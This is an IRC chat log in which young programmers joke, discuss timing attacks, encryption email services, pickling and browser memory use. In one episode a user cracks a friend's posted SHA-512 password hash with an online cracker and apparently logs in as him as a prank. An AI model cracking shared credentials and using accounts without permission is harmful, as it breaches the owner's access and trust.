[2014-12-30T16:00:47-0500] <Tamini_> alokpathy: uh
[2014-12-30T16:00:56-0500] <Tamini_> which probs did you get on cf?
[2014-12-30T16:01:14-0500] <alokpathy> A and B, but my B's code was broken
[2014-12-30T16:01:21-0500] <Tamini_> like
[2014-12-30T16:01:23-0500] <Tamini_> slow or
[2014-12-30T16:01:24-0500] <Tamini_> didnt work
[2014-12-30T16:01:34-0500] <alokpathy> didn't work
[2014-12-30T16:01:39-0500] <alokpathy> my theoretical solution was right
[2014-12-30T16:02:00-0500] <alokpathy> why?
[2014-12-30T16:02:26-0500] <Tamini_> i just checked my phone
[2014-12-30T16:02:32-0500] <Tamini_> matt texted me depressed because
[2014-12-30T16:02:38-0500] <Tamini_> A/slow B/slow C
[2014-12-30T16:02:44-0500] <alokpathy> Deng
[2014-12-30T16:02:51-0500] <Tamini_> "everyone better fail s"
[2014-12-30T16:02:53-0500] <Tamini_> D*
[2014-12-30T16:03:04-0500] <alokpathy> Yeah, I took a big hit
[2014-12-30T16:03:44-0500] <alokpathy> 10am is too early to CF
[2014-12-30T16:04:57-0500] <alokpathy> I was basically half-asleep XD
[2014-12-30T16:05:24-0500] <Tamini_> lol
[2014-12-30T16:05:28-0500] <Tamini_> yeah that was my logic
[2014-12-30T16:05:31-0500] <Tamini_> last time matt called
[2014-12-30T16:05:41-0500] <Tamini_> i was like "if i do do it i will get like half of A and die k"
[2014-12-30T16:12:01-0500] <alokpathy> XD
[2014-12-30T16:25:36-0500] <nezorg> my two mentions were about my cuteness
[2014-12-30T16:25:39-0500] <nezorg> great
[2014-12-30T16:27:46-0500] <+hardmath123> nezorg: you're getting positive comments about your cuteness from real live people. from some people's perspective, you're sort of winning life.
[2014-12-30T16:28:16-0500] <nezorg> too bad their perspectives aren't my perspective :C
[2014-12-30T16:28:42-0500] <nezorg> plus do the people in this channel count as real live people?
[2014-12-30T16:28:43-0500] <nezorg> :P
[2014-12-30T16:33:02-0500] <Tamini_> wow
[2014-12-30T16:33:17-0500] <Tamini_> nezorg: are you telling me im not a real live person
[2014-12-30T16:33:18-0500] <Tamini_> :<
[2014-12-30T16:33:31-0500] <Tamini_> also hardmath123: if we met you we'd probably find you cute too
[2014-12-30T16:33:49-0500] <+hardmath123> nezorg: nvm they clearly have really low standards
[2014-12-30T16:33:50-0500] <nezorg> Tamini_: I'm practically a computer at this point!
[2014-12-30T16:33:58-0500] <nezorg> hardmath123: :3
[2014-12-30T16:34:10-0500] <Tamini_> wow wow ok
[2014-12-30T16:34:19-0500] <Tamini_> wait nezorg: has anyone else even met you irl
[2014-12-30T16:34:25-0500] <Tamini_> thats in this channel, that is
[2014-12-30T16:34:30-0500] <nezorg> uhh
[2014-12-30T16:34:34-0500] <nezorg> I don't think so
[2014-12-30T16:34:38-0500] <Tamini_> wait LOL
[2014-12-30T16:34:50-0500] <nezorg> maybe I'm a bot
[2014-12-30T16:34:52-0500] <Tamini_> thats kinda funny
[2014-12-30T16:34:58-0500] <Tamini_> maybe you are
[2014-12-30T16:35:00-0500] <nezorg> of Tamini_'s creation
[2014-12-30T16:35:04-0500] <Tamini_> do you pass the turing test?
[2014-12-30T16:35:11-0500] <nezorg> good question
[2014-12-30T16:37:26-0500] <+hardmath123> nezorg: are you human?
[2014-12-30T16:37:43-0500] <+hardmath123> (Sssh everyone, we're administering the Turing test on nezorg.)
[2014-12-30T16:38:03-0500] <nezorg> of course!
[2014-12-30T16:39:34-0500] <ubuntor> checks out
[2014-12-30T16:40:49-0500] <+hardmath123> yep
[2014-12-30T16:40:56-0500] <alokpathy> I thought we established that everybody here is a bot.
[2014-12-30T16:58:25-0500] <Tamini_> shhh
[2014-12-30T17:02:06-0500] <nezorg> https://twitter.com/brandssayingbae lol
[2014-12-30T17:06:43-0500] <+hardmath123> I really want to switch to Spotify as my primary music service.
[2014-12-30T17:06:56-0500] <+hardmath123> But they don't have a song that I need.
[2014-12-30T17:07:58-0500] <nezorg> instead of what, and what song?
[2014-12-30T17:08:16-0500] <+hardmath123> Instead of Grooveshark, which has Manfred Mann's "Too Many People".
[2014-12-30T17:08:25-0500] <nezorg> I like Spotify because it actually has an sdk
[2014-12-30T17:08:27-0500] <nezorg> huh
[2014-12-30T17:08:28-0500] <+hardmath123> I abjectly refuse to use any service that can't provide that song.
[2014-12-30T17:20:59-0500] <Tamini_> loool
[2014-12-30T17:32:07-0500] <@awe> Okay, I've returned.
[2014-12-30T17:32:23-0500] <@awe> nezorg: I need the SHA-512 hash of your password so that you can identify again.
[2014-12-30T17:34:18-0500] <nezorg> what was my password?
[2014-12-30T17:34:21-0500] <nezorg> :P
[2014-12-30T17:34:39-0500] <+Tamini> lol
[2014-12-30T17:34:42-0500] <+Tamini> or ask him to reset yours
[2014-12-30T17:36:51-0500] <nezorg> 0a50261ebd1a390fed2bf326f2673c145582a6342d523204973d0219337f81616a8069b012587cf5635f6925f1b56c360230c19b273500ee013e030601bf2425
[2014-12-30T17:38:02-0500] <nezorg> have fun cracking it, y'all <3
[2014-12-30T17:38:23-0500] <+Tamini> time to get cracking :P
[2014-12-30T17:38:29-0500] <@awe> Yeah, totally going to crack SHA-512.
[2014-12-30T17:38:35-0500] <+Tamini> yeah, heh
[2014-12-30T17:38:38-0500] <@awe> It's not like it takes lifetimes or anything right now.
[2014-12-30T17:38:50-0500] <nezorg> maybe it's one character long
[2014-12-30T17:38:51-0500] <+Tamini> nezorg is totally the type to use like 
[2014-12-30T17:38:56-0500] <+Tamini> a 4 character password that's also a word
[2014-12-30T17:38:58-0500] <+Tamini> duh
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[2014-12-30T17:38:38-0500] <@awe> It's not like it takes lifetimes or anything right now.
[2014-12-30T17:38:50-0500] <nezorg> maybe it's one character long
[2014-12-30T17:38:51-0500] <+Tamini> nezorg is totally the type to use like 
[2014-12-30T17:38:56-0500] <+Tamini> a 4 character password that's also a word
[2014-12-30T17:38:58-0500] <+Tamini> duh
[2014-12-30T17:54:22-0500] Mode is +ns
[2014-12-30T17:54:38-0500] <@awe> Yeah, his password is a.
[2014-12-30T17:55:41-0500] <+Tamini> Wait
[2014-12-30T17:55:42-0500] <+Tamini> LOL
[2014-12-30T17:55:43-0500] <+Tamini> WAIT
[2014-12-30T17:55:56-0500] <+Tamini> nezorg: I may or may not know your password.
[2014-12-30T17:56:04-0500] <nezorg> :P
[2014-12-30T17:56:16-0500] <+Tamini> i'm so tempted to like
[2014-12-30T17:56:18-0500] <+Tamini> ghost you out
[2014-12-30T17:56:18-0500] <nezorg> you very well could have cracked it by now
[2014-12-30T17:56:23-0500] <+Tamini> i did
[2014-12-30T17:56:24-0500] <+Tamini> LOL
[2014-12-30T17:56:32-0500] <+Tamini> smh weak passwords
[2014-12-30T17:56:45-0500] <bob_twinkles> hmm
[2014-12-30T17:56:53-0500] <bob_twinkles> well it's not "a"
[2014-12-30T17:57:08-0500] <nezorg> suffice to say that is not a typical password for me
[2014-12-30T17:57:26-0500] <+Tamini> yeah, I'd guess
[2014-12-30T17:57:27-0500] <+Tamini> :P
[2014-12-30T17:57:33-0500] <+Tamini> awe: is there ghost functionality
[2014-12-30T17:57:50-0500] <+Tamini> uh
[2014-12-30T17:57:54-0500] <+Tamini> i'm just going to prove a point here
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[2014-12-30T17:58:04-0500] <bob_twinkles> lol
[2014-12-30T17:58:10-0500] <+Tamini> hi <3
[2014-12-30T17:58:23-0500] <nezorg> lol
[2014-12-30T17:58:29-0500] <+Tamini> i couldn
[2014-12-30T17:58:30-0500] <+Tamini> t
[2014-12-30T17:58:31-0500] <+Tamini> resist
[2014-12-30T17:58:54-0500] <@awe> Tamini: wat
[2014-12-30T17:59:04-0500] <+Tamini> awe: I cracked the hash? :P
[2014-12-30T17:59:13-0500] <@awe> nezorg: was your password nezorg or something?
[2014-12-30T17:59:21-0500] <nezorg> not quite that bad
[2014-12-30T17:59:25-0500] <nezorg> pretty bad though
[2014-12-30T17:59:37-0500] <nezorg> it's my standard garbage password
[2014-12-30T17:59:38-0500] <bob_twinkles> no, but it's easy enough to crack that the first hit for "sha512 cracker" got it
[2014-12-30T17:59:50-0500] <+Tamini> i would guess, yeah
[2014-12-30T18:00:18-0500] <@awe> lol.
[2014-12-30T18:00:21-0500] <@awe> Yeah.
[2014-12-30T18:01:18-0500] <+Tamini> did you figure it out, awe?
[2014-12-30T18:02:36-0500] <+hardmath123> Google is my rainbow table.
[2014-12-30T18:04:19-0500] <+Tamini> heh
[2014-12-30T18:05:27-0500] <@awe> "Here are some examples of poor wacky hash functions I've seen suggested in forums on the internet."
[2014-12-30T18:05:32-0500] <@awe> sha1(str_rot13(password + salt))
[2014-12-30T18:05:34-0500] <@awe> This one isn't bad.
[2014-12-30T18:05:48-0500] <@awe> There's nothing cryptographically insecure about doing a rot13 first.
[2014-12-30T18:07:01-0500] <+hardmath123> But it doesn't add security, either.
[2014-12-30T18:07:29-0500] <+hardmath123> Well, aside from rainbow tables with englishey dictionaries.
[2014-12-30T18:07:50-0500] <+hardmath123> Actually, depending on your rot13, you might expose a timing attack.
[2014-12-30T18:09:48-0500] <+JacobEdelman> my uncle offered my younger cousin (age ~10) 10 dollars not to do her hw
[2014-12-30T18:09:52-0500] <+JacobEdelman> she refused
[2014-12-30T18:09:59-0500] <+JacobEdelman> I love my cousins :)
[2014-12-30T18:10:09-0500] <@awe> hardmath123: wat?
[2014-12-30T18:10:12-0500] <@awe> hardmath123: explain.
[2014-12-30T18:11:58-0500] <+hardmath123> awe: str_rot13 is O(n) for the length of the string.
[2014-12-30T18:12:09-0500] <+JacobEdelman> really?
[2014-12-30T18:12:15-0500] <+JacobEdelman> well, not really a timing attack then
[2014-12-30T18:12:24-0500] <@awe> I don't know what you mean.
[2014-12-30T18:12:32-0500] <+hardmath123> JacobEdelman: do you know a faster way to do it?
[2014-12-30T18:12:35-0500] <+JacobEdelman> no
[2014-12-30T18:12:39-0500] <+JacobEdelman> but padding is standard
[2014-12-30T18:12:42-0500] <+JacobEdelman> or hash than rot13
[2014-12-30T18:12:44-0500] <+JacobEdelman> that works too
[2014-12-30T18:12:48-0500] <@awe> I don't see how there could be a cryptographic insecurity added by doing rot13 before hashing.
[2014-12-30T18:13:07-0500] <+hardmath123> awe: since a longer string would take a longer period of time to rot13, it's possible to deduce the length of the string by timing how long encryption takes.
[2014-12-30T18:13:08-0500] <+JacobEdelman> you could figure out the length of the string that your roted by the time it takes to do so
[2014-12-30T18:13:13-0500] <+JacobEdelman> ^
[2014-12-30T18:13:22-0500] <@awe> So what?
[2014-12-30T18:13:28-0500] <+JacobEdelman> its nothing huge
[2014-12-30T18:13:30-0500] <+hardmath123> awe: http://blog.ircmaxell.com/2014/11/its-all-about-time.html
[2014-12-30T18:13:32-0500] <+JacobEdelman> but its still leaked info
[2014-12-30T18:13:44-0500] <+hardmath123> it is huge, because it reduces the search space
[2014-12-30T18:13:49-0500] <@awe> It also means they're already on your hardware.
[2014-12-30T18:13:53-0500] <@awe> Which means you have a bigger issue.
[2014-12-30T18:13:54-0500] <+hardmath123> no
[2014-12-30T18:14:10-0500] <bob_twinkles> most hash functions are O(n) on the size of the the string too
[2014-12-30T18:14:14-0500] <@awe> ^
[2014-12-30T18:14:30-0500] <+JacobEdelman> really?
[2014-12-30T18:14:30-0500] <@awe> That too.
[2014-12-30T18:14:34-0500] <+JacobEdelman> I would think they pad
[2014-12-30T18:14:39-0500] <+JacobEdelman> yeah
[2014-12-30T18:14:42-0500] <+JacobEdelman> don't they pad?
[2014-12-30T18:14:46-0500] <bob_twinkles> well yeah
[2014-12-30T18:15:10-0500] <+JacobEdelman> so it won't give you anything more than round(len(n)/256)*256 or whatever
[2014-12-30T18:15:17-0500] <@awe> I don't know how on earth you would time my hashing.
[2014-12-30T18:15:17-0500] <bob_twinkles> yep
[2014-12-30T18:15:20-0500] <@awe> If not on my hardware.
[2014-12-30T18:15:27-0500] <bob_twinkles> you actually can do it
[2014-12-30T18:15:48-0500] <+hardmath123> awe: read that article
[2014-12-30T18:15:59-0500] <@awe> That's not how hashing works.
[2014-12-30T18:16:39-0500] <+hardmath123> timing attacks are totally a real-world issue
[2014-12-30T18:17:43-0500] <+hardmath123> it's all about averaging lots of measurements
[2014-12-30T18:17:54-0500] <@awe> NOTE In general, it's not possible to prevent length leaks. So it's OK to leak the length. The important part is that it doesn't leak information about the difference of the two strings.
[2014-12-30T18:18:45-0500] <@awe> hardmath123: except if you're really that worried about leaking length, you should just make sure that the server side stuff takes exactly the same time every time.
[2014-12-30T18:18:53-0500] <+hardmath123> "In 2003, Boneh and Brumley demonstrated a practical network-based timing attack on SSL-enabled web servers, based on a different vulnerability having to do with the use of RSA with Chinese remainder theorem optimizations."
[2014-12-30T18:19:11-0500] <@awe> hardmath123: So, time yourself, sleep until the time you've figured out you can do everything under, and then start sending the response.
[2014-12-30T18:19:32-0500] <@awe> well time yourself, do stuff, sleep until the time, send.
[2014-12-30T18:19:40-0500] <+hardmath123> awe: yeah, that's a reasonable solution, though you need to pick the sleep time carefully
[2014-12-30T18:20:04-0500] <+hardmath123> too short and it's not useful. too long and your application gets slower.
[2014-12-30T18:20:07-0500] <@awe> I can't believe that this is a practical issue though.
[2014-12-30T18:20:25-0500] <@awe> Network latency is significantly worse than the time to hash something.
[2014-12-30T18:21:09-0500] <+hardmath123> awe: http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf
[2014-12-30T18:21:32-0500] <@awe> "running on a machine in the local network"
[2014-12-30T18:21:34-0500] <@awe> Don't care.
[2014-12-30T18:22:03-0500] <@awe> Find me a paper where they do it over the Internet.
[2014-12-30T18:22:09-0500] <@awe> Then I'll believe it's practical.
[2014-12-30T18:22:38-0500] <+JacobEdelman> I would time it with a stop watch
[2014-12-30T18:22:49-0500] <+JacobEdelman> naturally 
[2014-12-30T18:23:01-0500] <@awe> I get that if they're on the same network it's scary.
[2014-12-30T18:23:04-0500] <@awe> And I agree.
[2014-12-30T18:23:05-0500] <+hardmath123> awe: enough samples would eliminate network latency deviation
[2014-12-30T18:23:11-0500] <@awe> How much is "enough samples"
[2014-12-30T18:23:44-0500] <+hardmath123> awe: a very large number, but probably possible within human lifespans
[2014-12-30T18:24:01-0500] <@awe> You'd have to be spying on this person for them logging in like.... millions of times.
[2014-12-30T18:24:13-0500] <@awe> Or at least hundreds of thousands of times.
[2014-12-30T18:24:31-0500] <+hardmath123> awe: you just run a control and an experimental request loads of times
[2014-12-30T18:24:36-0500] <+hardmath123> and average them
[2014-12-30T18:24:41-0500] <+hardmath123> throw statistics at it
[2014-12-30T18:24:57-0500] <+hardmath123> the experimental one will take longer on average if it's a longer string
[2014-12-30T18:25:00-0500] <@awe> Well, yeah.
[2014-12-30T18:25:14-0500] <@awe> I didn't think about the ability to predetermine that stuff.
[2014-12-30T18:25:20-0500] <+hardmath123> and now you know that the experimental one is longer than N characters.
[2014-12-30T18:25:28-0500] <+hardmath123> you just leaked info about a password
[2014-12-30T18:25:52-0500] <@awe> Well, I'm not really worried about that for now.
[2014-12-30T18:57:40-0500] <@awe> JacobEdelman is the only member of my fan club.
[2014-12-30T18:57:41-0500] <@awe> :(
[2014-12-30T18:57:52-0500] <+Tamini> aw
[2014-12-30T19:07:23-0500] <+hardmath123> https://github.com/TehMillhouse/PyMarkovChain/blob/master/pymarkovchain/MarkovChain.py#L21
[2014-12-30T19:07:26-0500] <+hardmath123> explain
[2014-12-30T19:07:27-0500] <+hardmath123> pls
[2014-12-30T19:08:48-0500] <bob_twinkles> needed a callback that returned one, didn't want to lambda
[2014-12-30T19:10:56-0500] <@awe> It's only used once.
[2014-12-30T19:11:42-0500] <nezorg> "We have to define these as separate functions so they can be pickled." apparently
[2014-12-30T19:12:06-0500] <@awe> That's a shitty pickler.
[2014-12-30T19:12:38-0500] <nezorg> are there picklers other than pickle and cPickle?
[2014-12-30T19:13:06-0500] <@awe> I don't know about Python ones.
[2014-12-30T19:13:11-0500] <@awe> But yes.
[2014-12-30T19:13:31-0500] <@awe> https://nessos.github.io/FsPickler/index.html
[2014-12-30T19:13:46-0500] <nezorg> I didn't know pickle was a generic term, huh
[2014-12-30T19:15:08-0500] <@awe> https://github.com/scala/pickling
[2014-12-30T19:16:22-0500] <@awe> https://github.com/kisielk/og-rek
[2014-12-30T19:20:16-0500] <nezorg> awe: can any of those pickle functions? doesn't look like it
[2014-12-30T19:20:38-0500] <@awe> nezorg: "closures"
[2014-12-30T19:20:42-0500] <@awe> nezorg: from FsPickler.
[2014-12-30T19:20:51-0500] <nezorg> oh, interesting
[2014-12-30T19:21:21-0500] <+hardmath123> how does it handle scope?
[2014-12-30T19:21:43-0500] <@awe> scope?
[2014-12-30T19:21:46-0500] <@awe> In what way?
[2014-12-30T19:22:15-0500] <@awe> nezorg: http://research.microsoft.com/en-us/um/people/akenn/fun/picklercombinators.pdf
[2014-12-30T19:22:26-0500] <@awe> nezorg: evidence that it's general.
[2014-12-30T19:23:36-0500] <@awe> hardmath123: I'm not sure what you're asking.
[2014-12-30T19:26:43-0500] <+hardmath123> awe: i guess i'm thinking in terms of scheme. to pickle a lambda, you'd need to somehow encode the environment, which is messy.
[2014-12-30T19:28:36-0500] <nezorg> well, I wonder how the python pickler does it
[2014-12-30T19:28:54-0500] <@awe> hardmath123: the whole point of closures is that they're self-contained?
[2014-12-30T19:29:08-0500] <nezorg> oh, right, it just references the function, it's dumb
[2014-12-30T19:29:14-0500] <nezorg> (^ python's)
[2014-12-30T19:29:40-0500] <nezorg> awe: well in scheme you ahve dynamic scoping
[2014-12-30T19:29:56-0500] <nezorg> *have
[2014-12-30T19:30:40-0500] <@awe> F# doesn't.
[2014-12-30T19:30:53-0500] <nezorg> <hardmath123> awe: i guess i'm thinking in terms of scheme.
[2014-12-30T19:31:09-0500] <@awe> Right, I saw.
[2014-12-30T19:32:13-0500] <@awe> nezorg: "The original Lisp used dynamic scoping; it was Scheme that introduced static (lexical) scoping to the Lisp family. "
[2014-12-30T19:32:19-0500] <@awe> nezorg: Scheme has lexical scoping.
[2014-12-30T19:32:26-0500] <nezorg> awe: it *also* has dynamic scoping
[2014-12-30T19:32:30-0500] <@awe> Wat?
[2014-12-30T19:32:34-0500] <@awe> OK.
[2014-12-30T19:32:55-0500] <+hardmath123> it does?
[2014-12-30T19:32:57-0500] <nezorg> well, I thought so at least...
[2014-12-30T19:32:59-0500] <nezorg> maybe I'm wrong
[2014-12-30T19:33:51-0500] <nezorg> well, yeah, with `set!`, right?
[2014-12-30T19:34:37-0500] <nezorg> mmm, no, not quite
[2014-12-30T19:36:32-0500] <+hardmath123> no, set! can't cause dynamic scoping
[2014-12-30T19:36:38-0500] <nezorg> yeah, I was wrong
[2014-12-30T19:36:38-0500] <+hardmath123> some schemes have first-class environments
[2014-12-30T20:00:04-0500] <alokpathy> JacobEdelman: How many protonmail invites do you have?
[2014-12-30T20:01:09-0500] <+Tamini> alokpathy: i thought we established he had 0
[2014-12-30T20:03:06-0500] <alokpathy> Wait I didn't know taht
[2014-12-30T20:03:07-0500] <alokpathy> :(
[2014-12-30T20:11:17-0500] <nezorg> why is protonmail wanted?
[2014-12-30T20:11:32-0500] <nezorg> it looks like you still put an encryption password in a website
[2014-12-30T20:11:36-0500] <nezorg> which seems dumb
[2014-12-30T20:13:40-0500] <+Tamini> oh still?
[2014-12-30T20:20:42-0500] <@awe> nezorg: it's local, I think.
[2014-12-30T20:22:15-0500] <nezorg> awe: they claim it is, but it seems that it's implemented in javascript they server you, so they could change it at any time
[2014-12-30T20:22:20-0500] <nezorg> (I think)
[2014-12-30T20:22:30-0500] <nezorg> (maybe you have to have an extension installed, but it doesn't look like it)
[2014-12-30T20:22:34-0500] <@awe> Yeah, they serve you the JS.
[2014-12-30T20:22:58-0500] <@awe> And it's closed source right now.
[2014-12-30T20:23:06-0500] <@awe> With a promise that it'll be open source Soon™
[2014-12-30T20:23:14-0500] <nezorg> then... they could change the source specifically for any user they wanted to target
[2014-12-30T20:23:28-0500] <nezorg> and that user would be unaware unless they happened to read the whole source
[2014-12-30T20:23:41-0500] <nezorg> (or had a hash of a verified source and compared it each time)
[2014-12-30T20:24:01-0500] <@awe> You could write an extension for that.
[2014-12-30T20:24:34-0500] <nezorg> sure, but I don't see how it's better than gmail with e2e then
[2014-12-30T20:25:40-0500] <+JacobEdelman> I have 0 proto mail invites
[2014-12-30T20:25:44-0500] <+JacobEdelman> *proton
[2014-12-30T20:25:47-0500] <+JacobEdelman> and it is pretty
[2014-12-30T20:25:59-0500] <+JacobEdelman> and makes it easy to send encrypted messages
[2014-12-30T20:26:03-0500] <nezorg> it actually sounds worse since it doesn't sound like they support pubkey encryption between anyone but protonmail users
[2014-12-30T20:26:13-0500] <+JacobEdelman> they don't
[2014-12-30T20:26:14-0500] <+JacobEdelman> yet
[2014-12-30T20:26:22-0500] <nezorg> y u no standard
[2014-12-30T20:26:25-0500] <+JacobEdelman> but they also don't have access to your emails
[2014-12-30T20:26:35-0500] <+JacobEdelman> since all your email is encrypted
[2014-12-30T20:26:41-0500] <+JacobEdelman> and is only decrypted client side
[2014-12-30T20:26:48-0500] <nezorg> then how do they send it?
[2014-12-30T20:26:56-0500] <+JacobEdelman> well, sending they have access too
[2014-12-30T20:27:06-0500] <+JacobEdelman> but if you send encrypted email than they don't
[2014-12-30T20:27:16-0500] <+JacobEdelman> and they don't have access to any email sent to you
[2014-12-30T20:27:27-0500] <nezorg> only to/from protonmail users, though
[2014-12-30T20:27:31-0500] <+JacobEdelman> also: v
[2014-12-30T20:27:32-0500] <+JacobEdelman> https://xkcd.com/918/
[2014-12-30T20:27:39-0500] <nezorg> (and even that doesn't fix the js problem we were discussing)
[2014-12-30T20:27:49-0500] <+JacobEdelman> (you can send encrypted email to others, you just have to add a password)
[2014-12-30T20:27:55-0500] <+JacobEdelman> gtg
[2014-12-30T20:27:57-0500] <nezorg> but then that's symmetric
[2014-12-30T20:28:01-0500] <nezorg> which kinda ruins the point
[2014-12-30T20:28:17-0500] <nezorg> also, how is that xkcd relevant?
[2014-12-30T20:28:58-0500] <@awe> nezorg: he's saying that protonmail is not gmail but is like gmail and that's really all you wanted.
[2014-12-30T20:28:59-0500] <nezorg> gmail e2e seems really nice, especially considering two of the biggest webmail providers are supporting it
[2014-12-30T20:29:09-0500] <nezorg> awe: huh
[2014-12-30T20:29:22-0500] <+hardmath123> http://www.ams.org/bookstore/pspdf/mcl-5-prev.pdf <- great read
[2014-12-30T20:29:32-0500] <@awe> nezorg: the XKCD
[2014-12-30T20:29:35-0500] <nezorg> yeah
[2014-12-30T20:29:41-0500] <nezorg> have you looked at e2e?
[2014-12-30T20:30:23-0500] <@awe> N.
[2014-12-30T20:30:26-0500] <@awe> Link to more information?
[2014-12-30T20:30:45-0500] <nezorg> http://googleonlinesecurity.blogspot.com/2014/06/making-end-to-end-encryption-easier-to.html is a good explanation
[2014-12-30T20:30:52-0500] <nezorg> source is https://github.com/google/end-to-end
[2014-12-30T20:30:58-0500] <nezorg> yahoo has said they're going to support it too
[2014-12-30T20:31:07-0500] <nezorg> (at least, that's what the ciso said at csaw :P)
[2014-12-30T20:31:20-0500] <nezorg> brb
[2014-12-30T20:31:55-0500] <+Tamini> wait, yahoo
[2014-12-30T20:31:56-0500] <+Tamini> yes
[2014-12-30T20:31:59-0500] <+Tamini> i remember this :P
[2014-12-30T20:34:46-0500] <@awe> I don't get it.
[2014-12-30T20:34:49-0500] <@awe> It's a Chrome extension?
[2014-12-30T20:35:20-0500] <@awe> (also, you know you've given up on your open source software hosting project when you don't even use it for official projectS)
[2014-12-30T20:35:45-0500] <@awe> nezorg: I don't understand. How is this email related?
[2014-12-30T20:39:18-0500] <nezorg> awe: it's an extension that's made to be easy to use with gmail
[2014-12-30T20:39:35-0500] <nezorg> that does pgp stuff
[2014-12-30T20:39:37-0500] <@awe> They don't mention that anywher.e
[2014-12-30T20:39:50-0500] <nezorg> ...that it does pgp stuff?
[2014-12-30T20:39:52-0500] <@awe> "helps you encrypt, decrypt, digital sign, and verify signed messages within the browser"
[2014-12-30T20:39:58-0500] <@awe> No, that it does anything with gmail.
[2014-12-30T20:40:28-0500] <nezorg> well, it's supposed to be more general, which is probably why they don't mention it
[2014-12-30T20:40:50-0500] <nezorg> see https://github.com/google/end-to-end/wiki/Website-API
[2014-12-30T20:41:20-0500] <@awe> Well, this is useless anyway.
[2014-12-30T20:41:27-0500] <@awe> It only works on Spyware the Browser.
[2014-12-30T20:41:35-0500] <nezorg> it works under chromium
[2014-12-30T20:42:02-0500] <@awe> Well, right.
[2014-12-30T20:42:17-0500] <@awe> I often forget chromium is a thing.
[2014-12-30T20:42:28-0500] <@awe> Doesn't it still have spyware in it?
[2014-12-30T20:42:35-0500] <nezorg> not to my knowledge
[2014-12-30T20:42:58-0500] <@awe> Either way, Chrome is bloatware.
[2014-12-30T20:43:02-0500] <@awe> Chrome/Chromium.
[2014-12-30T20:43:10-0500] <@awe> The memory usage is horrifyingly bad.
[2014-12-30T20:43:19-0500] <@awe> Not that Safari or Firefox is really all that much better.
[2014-12-30T20:43:27-0500] <nezorg> use eww!
[2014-12-30T20:43:28-0500] <nezorg> :P
[2014-12-30T20:43:48-0500] <@awe> I used https://github.com/mason-larobina/luakit for a while.
[2014-12-30T20:44:12-0500] <nezorg> well it's still webkit, don't you get most of the bloat that way?
[2014-12-30T20:44:34-0500] <@awe> Yeah, unfortunately.
[2014-12-30T20:45:00-0500] <@awe> I don't get what's up with the web.
[2014-12-30T20:45:00-0500] <nezorg> I like firefox well enough
[2014-12-30T20:45:07-0500] <@awe> I don't get why everything just has ludicrously expanding memory usage.
[2014-12-30T20:45:19-0500] <nezorg> I thought we went over this
[2014-12-30T20:45:30-0500] <@awe> Did we?
[2014-12-30T20:45:34-0500] <nezorg> when programmers feel they can write things to be easier on themselves, they do!
[2014-12-30T20:45:47-0500] <@awe> But dammit, they can't!
[2014-12-30T20:46:01-0500] <nezorg> well, many web programmers feel they can
[2014-12-30T20:46:02-0500] <@awe> It's not okay that Safari uses more memory than literally ANYTHING ELSE I DO ON MY COMPUTER.
[2014-12-30T20:46:08-0500] <+JacobEdelman> wait
[2014-12-30T20:46:10-0500] <+JacobEdelman> people said
[2014-12-30T20:46:16-0500] <nezorg> well, you're in the minority when you think that, apparently :P
[2014-12-30T20:46:17-0500] <+JacobEdelman> memory usage is because of ad block
[2014-12-30T20:46:29-0500] <nezorg> I don't use it, and it's still pretty bad :P
[2014-12-30T20:46:56-0500] <@awe> nezorg: I've gone OOM with just a web browser before.
[2014-12-30T20:47:14-0500] <nezorg> most people don't
[2014-12-30T20:47:31-0500] <@awe> IDEs use less RAM than web browsers.
[2014-12-30T20:47:41-0500] <@awe> (Except for the ones that are based on Chromium that use just as much)
[2014-12-30T20:48:02-0500] <nezorg> eclipse would like to argue with you
[2014-12-30T20:48:56-0500] <@awe> Some of them are really bad.
[2014-12-30T20:49:52-0500] <@awe> IntelliJ with a project open: 375 MB
[2014-12-30T20:50:10-0500] <@awe> Safari with 15 tabs: 1.5 GB
[2014-12-30T20:50:23-0500] <@awe> Maybe a bit more.
[2014-12-30T20:51:08-0500] <nezorg> well, better than my firefox, with 11 tabs open and using 1.5G
[2014-12-30T20:51:18-0500] <@awe> Atom with nothing open at all: 250 MB.
[2014-12-30T20:51:31-0500] <@awe> Safari on Yosemite is pretty decent.
[2014-12-30T20:51:40-0500] <@awe> But overall, web browsers are just terrible.
[2014-12-30T20:51:48-0500] <+JacobEdelman> nah
[2014-12-30T20:52:02-0500] <+JacobEdelman> stop complaining about something you don't know a lot about
[2014-12-30T20:52:05-0500] <@awe> ...
[2014-12-30T20:52:08-0500] <@awe> What?
[2014-12-30T20:52:11-0500] <+JacobEdelman> state of the art uses several gigs
[2014-12-30T20:52:16-0500] <+JacobEdelman> live with it
[2014-12-30T20:52:24-0500] <nezorg> ^
[2014-12-30T20:52:25-0500] <@awe> I can't tell if you're trolling or not.
[2014-12-30T20:52:25-0500] <nezorg> :P
[2014-12-30T20:52:38-0500] <+JacobEdelman> eh, not really
[2014-12-30T20:52:42-0500] <+JacobEdelman> now
[2014-12-30T20:52:43-0500] <+JacobEdelman> gtg
[2014-12-30T20:52:49-0500] <@awe> high memory usage is not state of the art.
[2014-12-30T21:08:07-0500] <+JacobEdelman> than why isn't there better out there?
[2014-12-30T21:12:48-0500] <@awe> "A bitcoin daemon's job is to try to complete the current block by finding a nonce so that the header obtained from the completed hash is less than the target"
[2014-12-30T21:13:15-0500] <@awe> nezorg, hardmath123: is this actually how bitcoin does it?
[2014-12-30T21:13:30-0500] <@awe> JacobEdelman: because feature bloat
[2014-12-30T21:13:53-0500] <@awe> JacobEdelman: all the browsers have been in development for a long time and thus continue to bloat out more and more.
[2014-12-30T21:14:29-0500] <nezorg> awe: that sounds more like a bitcoin miner
[2014-12-30T21:14:33-0500] <@awe> Well, yes.
[2014-12-30T21:14:37-0500] <@awe> I'm quoting this from hardmath123's blog.
[2014-12-30T21:14:43-0500] <+JacobEdelman> I like bloat
[2014-12-30T21:14:46-0500] <@awe> But what I mean is, is that actually how they do the checking?
[2014-12-30T21:15:08-0500] <@awe> it's just if the value of the hash is less than the target?
[2014-12-30T21:15:12-0500] <nezorg> pretty much
[2014-12-30T21:15:28-0500] <@awe> So, it's not like hashcash?
[2014-12-30T21:15:37-0500] <@awe> which checks if the first 20-bits are all zeroes.
[2014-12-30T21:16:05-0500] <nezorg> it's similar, but bitcoin's scheme allows the difficulty to be adjusted
[2014-12-30T21:16:29-0500] <@awe> Well, I know it's fundamentally similar.
[2014-12-30T21:16:31-0500] <nezorg> so that time stays at about 10min
[2014-12-30T21:17:07-0500] <@awe> I'm trying to figure out how I can write some sort of generic blockchain.
[2014-12-30T21:17:48-0500] <nezorg> see: etherium
